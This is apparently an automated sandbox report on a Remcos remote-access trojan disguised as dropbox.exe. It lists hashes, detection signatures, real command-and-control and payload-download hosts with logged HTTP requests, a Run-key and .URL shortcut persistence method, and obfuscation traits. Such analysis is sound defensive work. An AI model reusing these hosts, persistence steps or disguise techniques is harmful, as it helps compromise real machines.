Edit tour

Windows Analysis Report
dropbox.exe

Overview

General Information

Sample Name:	dropbox.exe
Analysis ID:	705805
MD5:	fc2881f54044ed23f7321ddc01522a50
SHA1:	b6872ad465d381d26aa4f21bda18739171767e70
SHA256:	dd983db5065e2873594cf76ae8ec48f950e0a97df4300a80a53d05632e557e81
Tags:	exe
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Uses dynamic DNS services

Uses 32bit PE files

Yara signature match

Sample file is different than original file name gathered from version info

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Uses code obfuscation techniques (call, push, ret)

IP address seen in connection with other malware

Classification

Process Tree

System is w10x64

dropbox.exe (PID: 5608 cmdline: "C:\Users\user\Desktop\dropbox.exe" MD5: FC2881F54044ED23F7321DDC01522A50)

Uuddcmhn.exe (PID: 5732 cmdline: "C:\Users\Public\Libraries\Uuddcmhn.exe" MD5: FC2881F54044ED23F7321DDC01522A50)

Uuddcmhn.exe (PID: 6100 cmdline: "C:\Users\Public\Libraries\Uuddcmhn.exe" MD5: FC2881F54044ED23F7321DDC01522A50)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\Public\Libraries\nhmcdduU.url	Methodology_Shortcut_HotKey	Detects possible shortcut usage for .URL persistence	@itsreallynick (Nick Carr)	0x58:$hotkey: \x0AHotKey=6 0x0:$url_explicit: [InternetShortcut]
C:\Users\Public\Libraries\nhmcdduU.url	Methodology_Contains_Shortcut_OtherURIhandlers	Detects possible shortcut usage for .URL persistence	@itsreallynick (Nick Carr)	0x14:$file: URL= 0x0:$url_explicit: [InternetShortcut]

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

ET TROJAN Remcos 3.x Unencrypted Server Response - Source IP: 194.5.98.141 - Destination IP: 192.168.2.3

Timestamp:	194.5.98.141192.168.2.32442497102032777 09/19/22-22:39:08.860574
SID:	2032777
Source Port:	2442
Destination Port:	49710
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MalDoc Downloader User-Agent - Source IP: 192.168.2.3 - Destination IP: 141.8.192.151

Timestamp:	192.168.2.3141.8.192.15149706802850263 09/19/22-22:37:46.439169
SID:	2850263
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MalDoc Downloader User-Agent - Source IP: 192.168.2.3 - Destination IP: 141.8.192.151

Timestamp:	192.168.2.3141.8.192.15149702802850263 09/19/22-22:37:04.904728
SID:	2850263
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN MalDoc Downloader User-Agent - Source IP: 192.168.2.3 - Destination IP: 141.8.192.151

Timestamp:	192.168.2.3141.8.192.15149708802850263 09/19/22-22:38:00.485990
SID:	2850263
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.3 - Destination IP: 194.5.98.141

Timestamp:	192.168.2.3194.5.98.1414971024422032776 09/19/22-22:39:08.604576
SID:	2032776
Source Port:	49710
Destination Port:	2442
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: dropbox.exe

ReversingLabs: Detection: 17%

Multi AV Scanner detection for domain / URL

Source: bestsuccess.ddns.net

Virustotal: Detection: 13%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\Libraries\Uuddcmhn.exe

ReversingLabs: Detection: 17%

Source: dropbox.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2850263 ETPRO TROJAN MalDoc Downloader User-Agent 192.168.2.3:49702 -> 141.8.192.151:80
Source: Traffic	Snort IDS: 2850263 ETPRO TROJAN MalDoc Downloader User-Agent 192.168.2.3:49706 -> 141.8.192.151:80
Source: Traffic	Snort IDS: 2850263 ETPRO TROJAN MalDoc Downloader User-Agent 192.168.2.3:49708 -> 141.8.192.151:80
Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.3:49710 -> 194.5.98.141:2442
Source: Traffic	Snort IDS: 2032777 ET TROJAN Remcos 3.x Unencrypted Server Response 194.5.98.141:2442 -> 192.168.2.3:49710

Uses dynamic DNS services

Source: unknown

DNS query: name: bestsuccess.ddns.net

Source: Joe Sandbox View	IP Address: 141.8.192.151 141.8.192.151
Source: Joe Sandbox View	IP Address: 141.8.192.151 141.8.192.151

Source: unknown

DNS traffic detected: queries for: f0719949.xsph.ru

Source: global traffic	HTTP traffic detected: GET /Uuddcmhnxqhfgvscgvechrthfvxthbvnjytchegfrhvbrtgnthyfgnbvgfcfbhgfyuyuyuyuyuyuytttrrrfgh HTTP/1.1User-Agent: lValiHost: f0719949.xsph.ru
Source: global traffic	HTTP traffic detected: GET /Uuddcmhnxqhfgvscgvechrthfvxthbvnjytchegfrhvbrtgnthyfgnbvgfcfbhgfyuyuyuyuyuyuytttrrrfgh HTTP/1.1User-Agent: 11Host: f0719949.xsph.ru
Source: global traffic	HTTP traffic detected: GET /Uuddcmhnxqhfgvscgvechrthfvxthbvnjytchegfrhvbrtgnthyfgnbvgfcfbhgfyuyuyuyuyuyuytttrrrfgh HTTP/1.1User-Agent: lValiHost: f0719949.xsph.ru
Source: global traffic	HTTP traffic detected: GET /Uuddcmhnxqhfgvscgvechrthfvxthbvnjytchegfrhvbrtgnthyfgnbvgfcfbhgfyuyuyuyuyuyuytttrrrfgh HTTP/1.1User-Agent: 88Host: f0719949.xsph.ru
Source: global traffic	HTTP traffic detected: GET /Uuddcmhnxqhfgvscgvechrthfvxthbvnjytchegfrhvbrtgnthyfgnbvgfcfbhgfyuyuyuyuyuyuytttrrrfgh HTTP/1.1User-Agent: lValiHost: f0719949.xsph.ru
Source: global traffic	HTTP traffic detected: GET /Uuddcmhnxqhfgvscgvechrthfvxthbvnjytchegfrhvbrtgnthyfgnbvgfcfbhgfyuyuyuyuyuyuytttrrrfgh HTTP/1.1User-Agent: 31Host: f0719949.xsph.ru

Source: dropbox.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Users\Public\Libraries\nhmcdduU.url, type: DROPPED	Matched rule: Methodology_Shortcut_HotKey author = @itsreallynick (Nick Carr), description = Detects possible shortcut usage for .URL persistence, score = 27.09.2019, reference = https://twitter.com/cglyer/status/1176184798248919044
Source: C:\Users\Public\Libraries\nhmcdduU.url, type: DROPPED	Matched rule: Methodology_Contains_Shortcut_OtherURIhandlers author = @itsreallynick (Nick Carr), description = Detects possible shortcut usage for .URL persistence, score = 27.09.2019, reference = https://twitter.com/cglyer/status/1176184798248919044

Source: dropbox.exe, 00000000.00000000.251957926.000000000047C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamePaintDotNet.exe4 vs dropbox.exe
Source: dropbox.exe, 00000000.00000003.252938578.000000007FC40000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePaintDotNet.exe4 vs dropbox.exe
Source: dropbox.exe, 00000000.00000003.252879970.000000007FCB0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePaintDotNet.exe4 vs dropbox.exe

Source: dropbox.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Uuddcmhn.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\dropbox.exe	Section loaded: 0si.dll	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Section loaded: 0si.dll	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Section loaded: 0si.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Section loaded: 0si.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Section loaded: 0si.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Section loaded: 0si.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Section loaded: 0si.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Section loaded: 0si.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Section loaded: 0si.dll	Jump to behavior

Source: dropbox.exe

ReversingLabs: Detection: 17%

Source: C:\Users\user\Desktop\dropbox.exe

File read: C:\Users\user\Desktop\dropbox.exe

Jump to behavior

Source: C:\Users\user\Desktop\dropbox.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\dropbox.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\dropbox.exe "C:\Users\user\Desktop\dropbox.exe"
Source: unknown	Process created: C:\Users\Public\Libraries\Uuddcmhn.exe "C:\Users\Public\Libraries\Uuddcmhn.exe"
Source: unknown	Process created: C:\Users\Public\Libraries\Uuddcmhn.exe "C:\Users\Public\Libraries\Uuddcmhn.exe"

Source: C:\Users\user\Desktop\dropbox.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\dropbox.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4

Jump to behavior

Source: classification engine

Classification label: mal76.troj.winEXE@3/4@5/2

Source: C:\Users\user\Desktop\dropbox.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_033D5D2A push esp; ret	0_3_033D5D31
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_033D611C push BB1914CAh; ret	0_3_033D6121
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_033D6B1B push ebp; iretd	0_3_033D6B1C
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_033D750E push ds; iretd	0_3_033D750F
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_033D4BD0 push FFFFFF80h; retf	0_3_033D4BD7
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_033D5C3A push ds; iretd	0_3_033D5C3D
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_033D8C26 push ecx; ret	0_3_033D8C32
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_033D7674 push FFFFFFBBh; ret	0_3_033D768A
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_033D8257 push es; ret	0_3_033D825A
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_033D7442 push esi; ret	0_3_033D7443
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_033D4EB4 push edi; ret	0_3_033D4EB5
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_033D5AA3 pushfd ; ret	0_3_033D5AA4
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_033D66CA push esp; ret	0_3_033D66DA
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_038123CC push FFFFFF80h; retf	0_3_038123D3
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_03813918 push BB1914CAh; ret	0_3_0381391D
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_03813526 push esp; ret	0_3_0381352D
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_0381329F pushfd ; ret	0_3_038132A0
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_038110A4 push ebp; iretd	0_3_038110A5
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_038126B0 push edi; ret	0_3_038126B1
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_03813EC6 push esp; ret	0_3_03813ED6
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_03813436 push ds; iretd	0_3_03813439
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_0382FDC4 push BB1914CAh; ret	0_3_0382FDC9
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_0382F9D2 push esp; ret	0_3_0382F9D9
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_0382F74B pushfd ; ret	0_3_0382F74C
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_0382D550 push ebp; iretd	0_3_0382D551
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_0382EB5C push edi; ret	0_3_0382EB5D
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_0382C366 push edi; ret	0_3_0382C36C
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_03830372 push esp; ret	0_3_03830382
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_0382C176 push ds; ret	0_3_0382C191
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_0382F8E2 push ds; iretd	0_3_0382F8E5
Source: C:\Users\user\Desktop\dropbox.exe	Code function: 0_3_0382E878 push FFFFFF80h; retf	0_3_0382E87F

Source: C:\Users\user\Desktop\dropbox.exe

File created: C:\Users\Public\Libraries\Uuddcmhn.exe

Jump to dropped file

Source: C:\Users\user\Desktop\dropbox.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Uuddcmhn			Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Uuddcmhn			Jump to behavior

Source: C:\Users\user\Desktop\dropbox.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\dropbox.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Uuddcmhn.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
